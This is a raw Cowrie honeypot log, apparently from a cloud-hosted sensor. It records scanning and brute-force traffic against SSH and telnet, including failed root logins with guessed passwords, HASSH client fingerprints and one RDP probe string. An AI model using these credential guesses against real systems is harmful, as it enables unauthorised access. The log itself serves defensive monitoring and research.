{"eventid":"cowrie.session.closed","duration":43.26405739784241,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:35.395493Z","src_ip":"152.42.224.71","session":"6ea7f84db896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":47268,"dst_ip":"10.17.0.5","dst_port":22,"session":"1593e086363e","protocol":"ssh","message":"New connection: 171.244.201.80:47268 (10.17.0.5:22) [session: 1593e086363e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:38.231243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:38.235923Z","src_ip":"171.244.201.80","session":"1593e086363e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:38.490368Z","src_ip":"171.244.201.80","session":"1593e086363e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123@","message":"login attempt [root/abc123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:39.525012Z","src_ip":"171.244.201.80","session":"1593e086363e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:40.776562Z","src_ip":"171.244.201.80","session":"1593e086363e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":59794,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0045190f678","protocol":"ssh","message":"New connection: 196.189.237.92:59794 (10.17.0.5:22) [session: d0045190f678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:41.281836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:41.284920Z","src_ip":"196.189.237.92","session":"d0045190f678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:41.455149Z","src_ip":"196.189.237.92","session":"d0045190f678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nutanix/4u","message":"login attempt [root/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:42.165860Z","src_ip":"196.189.237.92","session":"d0045190f678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:43.338754Z","src_ip":"196.189.237.92","session":"d0045190f678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":52184,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cdd299e22d5","protocol":"telnet","message":"New connection: 213.108.3.46:52184 (159.203.135.109:23) [session: 9cdd299e22d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:45.047631Z"}
{"eventid":"cowrie.session.closed","duration":0.014154911041259766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:45.061674Z","src_ip":"213.108.3.46","session":"9cdd299e22d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35452,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8a28d6645d7","protocol":"ssh","message":"New connection: 103.195.236.96:35452 (159.203.135.109:22) [session: b8a28d6645d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:47.681470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:47.686489Z","src_ip":"103.195.236.96","session":"b8a28d6645d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:47.924481Z","src_ip":"103.195.236.96","session":"b8a28d6645d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"145236","message":"login attempt [root/145236] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:48.637454Z","src_ip":"103.195.236.96","session":"b8a28d6645d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:49.877211Z","src_ip":"103.195.236.96","session":"b8a28d6645d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50147,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f0f9371dbed","protocol":"ssh","message":"New connection: 152.42.212.128:50147 (159.203.135.109:22) [session: 0f0f9371dbed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:58.338160Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:58.343222Z","src_ip":"152.42.212.128","session":"0f0f9371dbed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:36:58.347974Z","src_ip":"152.42.212.128","session":"0f0f9371dbed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58890,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce1691e8c871","protocol":"telnet","message":"New connection: 152.42.224.71:58890 (10.17.0.5:23) [session: ce1691e8c871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:23.818765Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34882,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed2386df4745","protocol":"telnet","message":"New connection: 152.42.224.71:34882 (10.17.0.5:23) [session: ed2386df4745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:29.949961Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34896,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd69d6c6f5c2","protocol":"telnet","message":"New connection: 152.42.224.71:34896 (10.17.0.5:23) [session: dd69d6c6f5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:30.033476Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48102,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8f5d5060fa","protocol":"telnet","message":"New connection: 152.42.224.71:48102 (10.17.0.5:23) [session: 7e8f5d5060fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:36.617442Z"}
{"eventid":"cowrie.session.closed","duration":23.162104845046997,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:46.980716Z","src_ip":"152.42.224.71","session":"ce1691e8c871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56982,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d1f7bf7579","protocol":"telnet","message":"New connection: 152.42.224.71:56982 (10.17.0.5:23) [session: 12d1f7bf7579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:53.883936Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":56080,"dst_ip":"159.203.135.109","dst_port":22,"session":"1025adafe36f","protocol":"ssh","message":"New connection: 80.66.85.226:56080 (159.203.135.109:22) [session: 1025adafe36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:57.035724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:57.040954Z","src_ip":"80.66.85.226","session":"1025adafe36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:57.131085Z","src_ip":"80.66.85.226","session":"1025adafe36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liverpool","message":"login attempt [root/liverpool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:57.405400Z","src_ip":"80.66.85.226","session":"1025adafe36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:37:58.498572Z","src_ip":"80.66.85.226","session":"1025adafe36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.516261577606201,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:05.400072Z","src_ip":"152.42.224.71","session":"12d1f7bf7579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":45850,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8694ed9a38c","protocol":"ssh","message":"New connection: 196.189.237.92:45850 (10.17.0.5:22) [session: a8694ed9a38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:06.972434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:06.977091Z","src_ip":"196.189.237.92","session":"a8694ed9a38c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:07.148629Z","src_ip":"196.189.237.92","session":"a8694ed9a38c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web@1234","message":"login attempt [root/web@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:07.863634Z","src_ip":"196.189.237.92","session":"a8694ed9a38c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:09.036985Z","src_ip":"196.189.237.92","session":"a8694ed9a38c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.90687012672424,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:09.856709Z","src_ip":"152.42.224.71","session":"ed2386df4745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49470,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b225ce016b","protocol":"telnet","message":"New connection: 152.42.224.71:49470 (10.17.0.5:23) [session: 91b225ce016b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:11.058756Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49484,"dst_ip":"10.17.0.5","dst_port":23,"session":"44d904ed3376","protocol":"telnet","message":"New connection: 152.42.224.71:49484 (10.17.0.5:23) [session: 44d904ed3376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:12.057479Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":28820,"dst_ip":"10.17.0.5","dst_port":22,"session":"27f88b02e80f","protocol":"ssh","message":"New connection: 171.244.201.80:28820 (10.17.0.5:22) [session: 27f88b02e80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:15.787147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:15.796278Z","src_ip":"171.244.201.80","session":"27f88b02e80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:16.044690Z","src_ip":"171.244.201.80","session":"27f88b02e80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angelo123","message":"login attempt [root/angelo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:17.073398Z","src_ip":"171.244.201.80","session":"27f88b02e80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.73868465423584,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:18.772045Z","src_ip":"152.42.224.71","session":"dd69d6c6f5c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:18.902072Z","src_ip":"171.244.201.80","session":"27f88b02e80f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57274,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d6959435bbd","protocol":"telnet","message":"New connection: 152.42.224.71:57274 (10.17.0.5:23) [session: 9d6959435bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:29.160740Z"}
{"eventid":"cowrie.session.closed","duration":36.837926387786865,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:47.896565Z","src_ip":"152.42.224.71","session":"91b225ce016b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.45682430267334,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:38:53.514123Z","src_ip":"152.42.224.71","session":"44d904ed3376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.56972551345825,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:07.730335Z","src_ip":"152.42.224.71","session":"9d6959435bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":53820,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb79770bb1aa","protocol":"ssh","message":"New connection: 103.98.149.87:53820 (159.203.135.109:22) [session: fb79770bb1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:07.895019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:39:07.899918Z","src_ip":"103.98.149.87","session":"fb79770bb1aa","protocol":"ssh"}
